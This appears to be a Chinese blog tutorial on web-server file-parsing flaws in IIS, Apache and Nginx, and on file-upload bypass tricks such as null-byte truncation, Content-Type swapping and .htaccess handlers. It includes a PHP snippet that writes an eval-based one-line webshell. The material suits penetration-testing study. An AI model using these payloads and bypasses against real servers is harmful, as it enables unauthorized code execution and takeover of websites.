溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

淺談文件解析及上傳漏洞

發(fā)布時間:2020-04-05 12:53:53 來源:網(wǎng)絡(luò) 閱讀:7941 作者:eth10 欄目:安全技術(shù)

淺談文件解析及上傳漏洞

中國菜刀


    在web***中,我最期待兩種漏洞,一種是任意命令執(zhí)行漏洞,如struct2漏洞等;另一種是文件上傳漏洞,因?yàn)檫@兩種漏洞都是獲取服務(wù)器權(quán)限最快最直接的方法。而對于任意命令執(zhí)行漏洞,如果是通過內(nèi)網(wǎng)映射出來的,那么可能還需要使用不同的手段進(jìn)行***文件上傳,從而獲取webshell,通過webshell進(jìn)行端口轉(zhuǎn)發(fā)或者權(quán)限提升。
    本文主要是介紹文件上傳中的個人利用技巧經(jīng)驗(yàn)匯總,講解分為兩部分:一部份是文件解析漏洞,另一部份是文件上傳漏洞。

文件解析漏洞

    解析漏洞主要是一些特殊文件被iis、Apache、Nginx等服務(wù)在某種情況下解釋成腳本文件格式并得以執(zhí)行而產(chǎn)生的漏洞。

iis 5.x/6.0解析漏洞

    iis6.0解析漏洞主要有以下三種:
 1. 目錄解析漏洞 /xx.asp/xx.jpg
    在網(wǎng)站下創(chuàng)建文件夾名字為.asp、.asa的文件夾,其目錄內(nèi)的任何擴(kuò)展名的文件都被iis當(dāng)做asp文件來解析并執(zhí)行。因此只要***者可以通過該漏洞直接上傳圖片馬,并且可以不需要改后綴名!
2. 文件解析 xx.asp;.jpg
    在iis6.0下,分號后面的不被解析,所以xx.asp;.jpg被解析為asp腳本得以執(zhí)行。
3. 文件類型解析 asa/cer/cdx
    iis6.0 默認(rèn)的可執(zhí)行文件除了asp還包含這三種asa、cer、cdx。

Apache解析漏洞

    Apache對文件的解析主要是從右到左開始判斷并進(jìn)行解析,如果判斷為不能解析的類型,則繼續(xù)向左進(jìn)行解析,如xx.php.wer.xxxxx將被解析為PHP類型。

IIS 7.0/ Nginx <8.03畸形解析漏洞

    在默認(rèn)Fast-CGI開啟狀況下上傳名字為xx.jpg,內(nèi)容為:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    然后訪問xx.jpg/.php,在這個目錄下就會生成一句話***shell.php。

Nginx<8.03空字節(jié)代碼執(zhí)行漏洞

    nginx如下版本:0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37在使用PHP-FastCGI執(zhí)行php的時候,URL里面在遇到%00空字節(jié)時與FastCGI處理不一致,導(dǎo)致可以在圖片中嵌入PHP代碼然后通過訪問xxx.jpg%00.php來執(zhí)行其中的代碼。
    另一種Nginx文件漏洞是從左到右進(jìn)行解析,既可繞過對后綴名的限制,又可上傳***文件,因此可以上傳XXX.jpg.php(可能是運(yùn)氣,也可能是代碼本身問題,但在其他都不能成功的條件下可以試試)。如下:
Content-Disposition: form-data; name="userfiles"; filename="XXX.jpg.php"

htaccess文件解析

    如果Apache中.htaccess可被執(zhí)行并可被上傳,那么可以嘗試在.htaccess中寫入:
<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
    然后再上傳shell.jpg的***,這樣shell.jpg就可被解析為PHP文件了。

操作系統(tǒng)特性解析

    由于windows會將文件的后綴中的空格以及點(diǎn)進(jìn)行過濾,如果遇到是黑名單校驗(yàn)的,如限制不允許上傳PHP文件,而系統(tǒng)又是windows系統(tǒng),那么我們可以上傳xx.php ,或者xx.php.,通過這種方式就可以繞過黑名單檢驗(yàn)的文件上傳!

文件上傳漏洞

前端上傳限制

   有的網(wǎng)站由于對文件上傳的地方只做前端的一個校驗(yàn),導(dǎo)致可輕易繞過,因?yàn)榍岸说囊磺邢拗贫际遣话踩模?/p>

   如下是一個只對前端進(jìn)行校驗(yàn)的一個上傳測試點(diǎn):

淺談文件解析及上傳漏洞

  在這里我是開啟了burp抓包的,但是我一點(diǎn)擊上傳就提示無法上傳,而burp未抓到任何數(shù)據(jù)庫,這說明這是一個前端校驗(yàn)的一個上傳,在這里我們通過禁用js來直接上傳php的webshell,我們也可以先將我們的php的webshell進(jìn)行后綴名更改,如更改為jpg,然后上傳,通過burp抓包,然后發(fā)往repeater中進(jìn)行測試,如圖:

淺談文件解析及上傳漏洞

  此時我們在將我們上傳的文件更改為我們的原本后綴名php,即可成功上傳!

淺談文件解析及上傳漏洞

文件頭欺騙漏洞

    在一句話***前面加入GIF89a,然后將***保存為圖片格式,可以欺騙簡單的waf。

從左到右解析

    我們在上傳文件的時候,還有遇到服務(wù)器是從左到右進(jìn)行解析的漏洞,也就是說服務(wù)器只檢查文件名的第一個后綴,如果滿足驗(yàn)證要求即可成功上傳,但是我們都知道,只有最后一層的后綴才是有效的,如1.jpg.php,那么真正的后綴應(yīng)該是PHP文件,根據(jù)這個我們可繞過相關(guān)驗(yàn)證進(jìn)行上傳。

  我們上傳通過burp抓包并在repeater中進(jìn)行嘗試上傳:

淺談文件解析及上傳漏洞

   此時我們將后綴改為php試試:

淺談文件解析及上傳漏洞

   發(fā)現(xiàn)上傳失敗,這是我們可以試試上傳一個.jpg.php的PHP文件:

淺談文件解析及上傳漏洞

   我們可以發(fā)現(xiàn),文件成功上傳!

filepath漏洞

    filepath漏洞主要用來突破服務(wù)器自動命名規(guī)則,主要有以下兩種利用方式:
    1、改變文件上傳后路徑(filepath),可以結(jié)合目錄解析漏洞,路徑/x.asp/
    2、直接改變文件名稱(都是在filepath下進(jìn)行修改),路徑/x.asp;.

  對于第一種我們使用較多,如下是一個上傳測試頁面:

淺談文件解析及上傳漏洞

   我們使用burp進(jìn)行抓包并且發(fā)往repeater里面,如圖:

淺談文件解析及上傳漏洞

   此時我們上傳是不成功的,而請求的頭里面顯示了上傳后的目錄,此時我們在此目錄下新增一個eth20.php的目錄,然后將filename改為圖片格式,如jpg,但是如果直接這樣的話還是上傳不成功,于是我們可以結(jié)合00截?cái)鄟磉M(jìn)行上傳,在新建的目錄后面使用00截?cái)?,如圖上傳成功:

淺談文件解析及上傳漏洞

    另外有一種情況我們我們在原目錄下新建一個eth20.php的文件,然后直接使用00截?cái)?,這樣我們依舊可以上傳php文件,因?yàn)樯蟼魇鞘褂胒ilepath以及filename來控制的,filename白名單,那么我們就可以從filepath入手!利用手法和上面一樣,唯一的區(qū)別是在00截?cái)嗲安患幼詈笠粋€斜杠(/),

00截?cái)?/h4>

    00截?cái)嗟膬煞N利用方式:
    1、更改filename,xx.php .jpg,在burpsuit中將空格對應(yīng)的hex 20改為00
    2、更改filename,xx.php%00.jpg,在burpsuit中將%00進(jìn)行右鍵轉(zhuǎn)換-url-urldecoder

filetype漏洞

    filetype漏洞主要是針對content-type字段,主要有兩種利用方式:
    1、先上傳一個圖片,然后將content-type:p_w_picpath/jpeg改為content-type:text/asp,然后對filename進(jìn)行00截?cái)?,將圖片內(nèi)容替換為一句話***。
    2、直接使用burp抓包,得到post上傳數(shù)據(jù)后,將Content-Type: text/plain改成 Content-Type: p_w_picpath/gif。

    我們經(jīng)常使用的一般是第二種,主要是將conten-type改為服務(wù)器accept的類型。如下圖是一個簡單的上傳測試頁面:

淺談文件解析及上傳漏洞

    我們直接上傳一個PHP的文件,使用burp進(jìn)行抓包,然后發(fā)往repeater里,如圖:

淺談文件解析及上傳漏洞

    此時顯示的是非圖片文件,此時我們將conten-type改為服務(wù)器accept的圖片類型,即可成功上傳php文件,圖中顯示的flag你可以當(dāng)成是實(shí)戰(zhàn)中生成成功后的路徑,從而getshell,如圖:

淺談文件解析及上傳漏洞

iconv函數(shù)限制上傳

    如果某天你上傳文件發(fā)現(xiàn),不管你上傳什么文件,上傳后的文件都會自動添加一個.jpg的后綴,那么我們可以懷疑是否是使用iconv這個函數(shù)進(jìn)行了上傳的限制,此時我們可以使用類似00截?cái)嗟姆椒?,但是這里不是00截?cái)?,二?0-EF截?cái)?,也就是說我們可以修改HEX為80到EF中的某一個來進(jìn)行截?cái)?,如果真是使用這個函數(shù)的話,那么恭喜你上傳任意文件成功!如上傳一個xx.php ,然后截?cái)嘧グ鼘⒑竺娴目崭駥?yīng)的十六進(jìn)制改為80到EF中的任意一個!

雙文件上傳

    再一個文件上傳的地方,右鍵審查元素,首先修改action為完整路徑,然后復(fù)制粘貼上傳瀏覽文件(<input ......),這樣就會出現(xiàn)兩個上傳框,第一個上傳正常文件,第二個選擇一句話***,然后提交。!參考鏈接

表單提交按鈕

    我們有時掃描發(fā)現(xiàn)上傳路徑,可是只有一個瀏覽文件,卻沒有提交按鈕,此時我們就需要寫入提交按鈕。
    寫入表單:
    F12審查元素,在選擇文件表單下面添加提交按鈕代碼。
<input type="submit" value="提交" name="xx">


向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI